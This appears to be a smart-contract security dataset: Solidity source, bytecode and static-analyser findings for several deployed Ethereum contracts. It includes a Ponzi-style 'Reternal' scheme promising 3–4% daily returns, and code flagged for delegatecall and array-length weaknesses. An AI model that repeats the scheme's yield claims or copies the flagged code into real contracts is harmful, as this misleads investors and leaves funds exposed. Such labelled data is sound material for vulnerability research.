6020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b34d1ca6bff0d3fdcb067adbec01490553d09470460d9775adfe9915a5d54ec764736f6c63430007030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,344 |
0x0e288021dec21a037ce605d24025fc7a4f2a9def
|
pragma solidity ^0.4.24;
/**
* ██████╗ ███████╗████████╗███████╗ ██████╗ ███╗ ██╗ █████╗ ██╗
* ██╔══██╗ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗ ████╗ ██║ ██╔══██╗ ██║
* ██████╔╝ █████╗ ██║ █████╗ ██████╔╝ ██╔██╗ ██║ ███████║ ██║
* ██╔══██╗ ██╔══╝ ██║ ██╔══╝ ██╔══██╗ ██║╚██╗██║ ██╔══██║ ██║
* ██║ ██║ ███████╗ ██║ ███████╗ ██║ ██║ ██║ ╚████║ ██║ ██║ ███████╗
* ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
*
* Contacts:
*
* -- t.me/Reternal
* -- https://www.reternal.net
*
* - GAIN PER 24 HOURS:
*
* -- Individual balance < 1 Ether: 3.15%
* -- Individual balance >= 1 Ether: 3.25%
* -- Individual balance >= 4 Ether: 3.45%
* -- Individual balance >= 12 Ether: 3.65%
* -- Individual balance >= 50 Ether: 3.85%
* -- Individual balance >= 200 Ether: 4.15%
*
* -- Contract balance < 500 Ether: 0%
* -- Contract balance >= 500 Ether: 0.10%
* -- Contract balance >= 1500 Ether: 0.20%
* -- Contract balance >= 2500 Ether: 0.30%
* -- Contract balance >= 7000 Ether: 0.45%
* -- Contract balance >= 15000 Ether: 0.65%
*
* - Minimal contribution 0.01 eth
* - Contribution allocation schemes:
* -- 95% payments
* -- 5% Marketing + Operating Expenses
*
* - How to use:
* 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH
* 2. Add your refferer's wallet to a HEX data in your transaction to
* get a bonus amount back to your wallet only for the FIRST deposit
* IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty,
* if you have no referrer and do not want to support Reternal, you can type 'noreferrer'
* if there is no referrer, you will not get any bonuses
* 3. Use etherscan.io to verify your transaction
* 4. Claim your dividents by sending 0 ether transaction (available anytime)
* 5. You can reinvest anytime you want
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* The smart-contract has a "restart" function, more info at www.reternal.net
*
* If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet
* WARNING: do not use exchanges' wallets - you will loose your funds. Only use your personal wallet for transactions
*
*/
contract Reternal {
// Investor's data storage
mapping (address => Investor) public investors;
address[] public addresses;
struct Investor
{
uint id;
uint deposit;
uint depositCount;
uint block;
address referrer;
}
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED;
uint public round;
uint public totalDepositAmount;
bool public pause;
uint public restartBlock;
bool ref_flag;
// Investors' dividents increase goals due to a bank growth
uint bank1 = 5e20; // 500 eth
uint bank2 = 15e20; // 1500 eth
uint bank3 = 25e20; // 2500 eth
uint bank4 = 7e21; // 7000 eth
uint bank5 = 15e20; // 15000 eth
// Investors' dividents increase due to individual deposit amount
uint dep1 = 1e18; // 1 ETH
uint dep2 = 4e18; // 4 ETH
uint dep3 = 12e18; // 12 ETH
uint dep4 = 5e19; // 50 ETH
uint dep5 = 2e20; // 200 ETH
event NewInvestor(address indexed investor, uint deposit, address referrer);
event PayOffDividends(address indexed investor, uint value);
event refPayout(address indexed investor, uint value, address referrer);
event NewDeposit(address indexed investor, uint value);
event NextRoundStarted(uint round, uint block, address addr, uint value);
constructor() public {
addresses.length = 1;
round = 1;
pause = false;
}
function restart() private {
address addr;
for (uint i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
}
emit NextRoundStarted(round, block.number, msg.sender, msg.value);
pause = false;
round += 1;
totalDepositAmount = 0;
createDeposit();
}
function getRaisedPercents(address addr) internal view returns(uint){
// Individual deposit percentage sums up with 'Reternal total fund' percentage
uint percent = getIndividualPercent() + getBankPercent();
uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000;
return(amount / 100);
}
function payDividends() private{
require(investors[msg.sender].id > 0, "Investor not found.");
// Investor's total raised amount
uint amount = getRaisedPercents(msg.sender);
if (address(this).balance < amount) {
pause = true;
restartBlock = block.number + 6000;
return;
}
// Service fee deduction
uint FeeToWithdraw = amount * 5 / 100;
uint payment = amount - FeeToWithdraw;
address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw);
msg.sender.transfer(payment);
emit PayOffDividends(msg.sender, amount);
}
function createDeposit() private{
Investor storage user = investors[msg.sender];
if (user.id == 0) {
// Check for malicious smart-contract
msg.sender.transfer(0 wei);
user.id = addresses.push(msg.sender);
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
// Check for referrer's registration. Check for self referring
if (investors[referrer].id > 0 && referrer != msg.sender) {
user.referrer = referrer;
// Cashback only for the first deposit
if (user.depositCount == 0) { // cashback only for the first deposit
uint cashback = msg.value / 100;
if (msg.sender.send(cashback)) {
emit refPayout(msg.sender, cashback, referrer);
}
}
}
} else {
// If data is empty:
user.referrer = defaultReferrer;
}
emit NewInvestor(msg.sender, msg.value, referrer);
} else {
// Dividents payment for an investor
payDividends();
}
// 2% from a referral deposit transfer to a referrer
uint payReferrer = msg.value * 2 / 100; // 2% from referral deposit to referrer
//
if (user.referrer == defaultReferrer) {
user.referrer.transfer(payReferrer);
} else {
investors[referrer].deposit += payReferrer;
}
user.depositCount++;
user.deposit += msg.value;
user.block = block.number;
totalDepositAmount += msg.value;
emit NewDeposit(msg.sender, msg.value);
}
function() external payable {
if(pause) {
if (restartBlock <= block.number) { restart(); }
require(!pause, "Eternal is restarting, wait for the block in restartBlock");
} else {
if (msg.value == 0) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
createDeposit();
}
}
function getBankPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint totalBank1 = bank1;
uint totalBank2 = bank2;
uint totalBank3 = bank3;
uint totalBank4 = bank4;
uint totalBank5 = bank5;
if(contractBalance < totalBank1){
return(0); // If bank lower than 500, whole procent doesnt add
}
if(contractBalance >= totalBank1 && contractBalance < totalBank2){
return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank2 && contractBalance < totalBank3){
return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank3 && contractBalance < totalBank4){
return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank4 && contractBalance < totalBank5){
return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15%
}
if(contractBalance >= totalBank5){
return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20%
}
}
function getIndividualPercent() public view returns(uint){
uint userBalance = investors[msg.sender].deposit;
uint totalDeposit1 = dep1;
uint totalDeposit2 = dep2;
uint totalDeposit3 = dep3;
uint totalDeposit4 = dep4;
uint totalDeposit5 = dep5;
if(userBalance < totalDeposit1){
return(315); // 3.15% by default, investor deposit lower than 1 ETH
}
if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){
return(325); // 3.25% Your Deposit more than or equal to 1 ETH
}
if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){
return(345); // 3.45% Your Deposit more than or equal to 4 ETH
}
if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){
return(360); // 3.60% Your Deposit more than or equal to 12 ETH
}
if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){
return(385); // 3.85% Your Deposit more than or equal to 50 ETH
}
if(userBalance >= totalDeposit5){
return(415); // 4.15% Your Deposit more than or equal to 200 ETH
}
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
|
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca53181146102105780633d4cfa6b14610237578063466a34431461024c5780636f7bc9be146102615780637d19ba23146102b65780638456cb59146102cb578063960524e3146102f4578063c5408d5014610309578063d77d00121461031e578063edf26d9b14610333575b60055460ff161561015c5760065443106100bf576100bf610367565b60055460ff161561015757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f457465726e616c2069732072657374617274696e672c207761697420666f722060448201527f74686520626c6f636b20696e2072657374617274426c6f636b00000000000000606482015290519081900360840190fd5b61020e565b34151561016b5761015761047a565b662386f26fc1000034101561020657604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3031206560448201527f7468657200000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61020e6105e3565b005b34801561021c57600080fd5b50610225610906565b60408051918252519081900360200190f35b34801561024357600080fd5b5061022561090c565b34801561025857600080fd5b50610225610917565b34801561026d57600080fd5b50610282600160a060020a03600435166109d9565b604080519586526020860194909452848401929092526060840152600160a060020a03166080830152519081900360a00190f35b3480156102c257600080fd5b50610225610a11565b3480156102d757600080fd5b506102e0610a17565b604080519115158252519081900360200190f35b34801561030057600080fd5b50610225610a20565b34801561031557600080fd5b50610225610a2b565b34801561032a57600080fd5b50610225610a31565b34801561033f57600080fd5b5061034b600435610ae1565b60408051600160a060020a039092168252519081900360200190f35b600154600090600019015b600081111561041057600180548290811061038957fe5b60009182526020909120015460018054600160a060020a039092169350600019909101906103b79082610b6c565b50600160a060020a038216600090815260208190526040812081815560018101829055600281018290556003810191909155600401805473ffffffffffffffffffffffffffffffffffffffff1916905560001901610372565b600354604080519182524360208301523382820152346060830152517f66a2263e9309e859994900b6ba9f464030063253fab6b5ddc8db9538c37e7b6b9181900360800190a16005805460ff1916905560038054600101905560006004556104766105e3565b5050565b336000908152602081905260408120548190819081106104fb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e766573746f72206e6f7420666f756e642e00000000000000000000000000604482015290519081900360640190fd5b61050433610b09565b92503031831115610529576005805460ff1916600117905561177043016006556105de565b505060405160646005830204908183039073d9be11e7412584368546b1cae64b6c384ae85ebb906108fc8415029084906000818181858888f19350505050158015610578573d6000803e3d6000fd5b50604051339082156108fc029083906000818181858888f193505050501580156105a6573d6000803e3d6000fd5b5060408051848152905133917f38b3cd63b7181dfb8515c2b900548258df82fee21db5246ce3818c0efdf51685919081900360200190a25b505050565b33600090815260208190526040812080549091908190819015156108115760405133906108fc9060009081818181818888f1935050505015801561062b573d6000803e3d6000fd5b50600180548082018083556000929092527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19163317905584553615610798576106bd6000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610b65945050505050565b600160a060020a0381166000908152602081905260408120549194501080156106ef5750600160a060020a0383163314155b156107935760048401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516179055600284015415156107935760405160643404925033906108fc8415029084906000818181858888f19350505050156107935760408051838152600160a060020a0385166020820152815133927f9aa90874178e269a71a0dffef5881c345119f7aecdaa0a0f214bca583472da31928290030190a25b6107ca565b60025460048501805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b60408051348152600160a060020a0385166020820152815133927f457ba32ceae43c5149268b8fdc90d253ae023e63a9be85f24b8c994f2c46057f928290030190a2610819565b61081961047a565b6064600234026002546004870154929091049250600160a060020a0391821691161415610882576004840154604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561087c573d6000803e3d6000fd5b506108a4565b600160a060020a03831660009081526020819052604090206001018054820190555b600284018054600190810190915584018054349081019091554360038601556004805482019055604080519182525133917f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364919081900360200190a250505050565b60035481565b662386f26fc1000081565b33600090815260208190526040812060010154600d54600e54600f546010546011548486101561094b5761013b96506109d0565b84861015801561095a57508386105b156109695761014596506109d0565b83861015801561097857508286105b156109875761015996506109d0565b82861015801561099657508186105b156109a55761016896506109d0565b8186101580156109b457508086105b156109c35761018196506109d0565b8086106109d05761019f96505b50505050505090565b6000602081905290815260409020805460018201546002830154600384015460049094015492939192909190600160a060020a031685565b60065481565b60055460ff1681565b600154600019015b90565b60045481565b600854600954600a54600b54600c5460009430319490939092909184861015610a5d57600096506109d0565b848610158015610a6c57508386105b15610a7a57600a96506109d0565b838610158015610a8957508286105b15610a9757601496506109d0565b828610158015610aa657508186105b15610ab457601e96506109d0565b818610158015610ac357508086105b15610ad157602d96506109d0565b8086106109d057604196506109d0565b6001805482908110610aef57fe5b600091825260209091200154600160a060020a0316905081565b6000806000610b16610a31565b610b1e610917565b600160a060020a0386166000908152602081905260409020600381015460019091015492909101935061177091606490850204439190910302606491900404949350505050565b6014015190565b8154818355818111156105de576000838152602090206105de918101908301610a2891905b80821115610ba55760008155600101610b91565b50905600a165627a7a723058209e3c25b3e380ffd5648860555a1bf32926f51ff7c3943733f397d3019aab32690029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,345 |
0xa182e841de328bd94090e02e7df1acbeb1aed677
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ETbankWord is StandardToken, Ownable {
// Constants
string public constant name = "ETbankWord";
string public constant symbol = "ETBW";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function ETbankWord() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600a81526020017f455462616e6b576f72640000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a63b2d05e000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a9004